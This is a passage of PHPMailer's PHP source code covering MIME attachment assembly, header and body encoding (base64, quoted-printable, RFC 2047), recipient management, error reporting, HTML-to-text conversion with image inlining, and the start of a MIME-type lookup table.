$charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 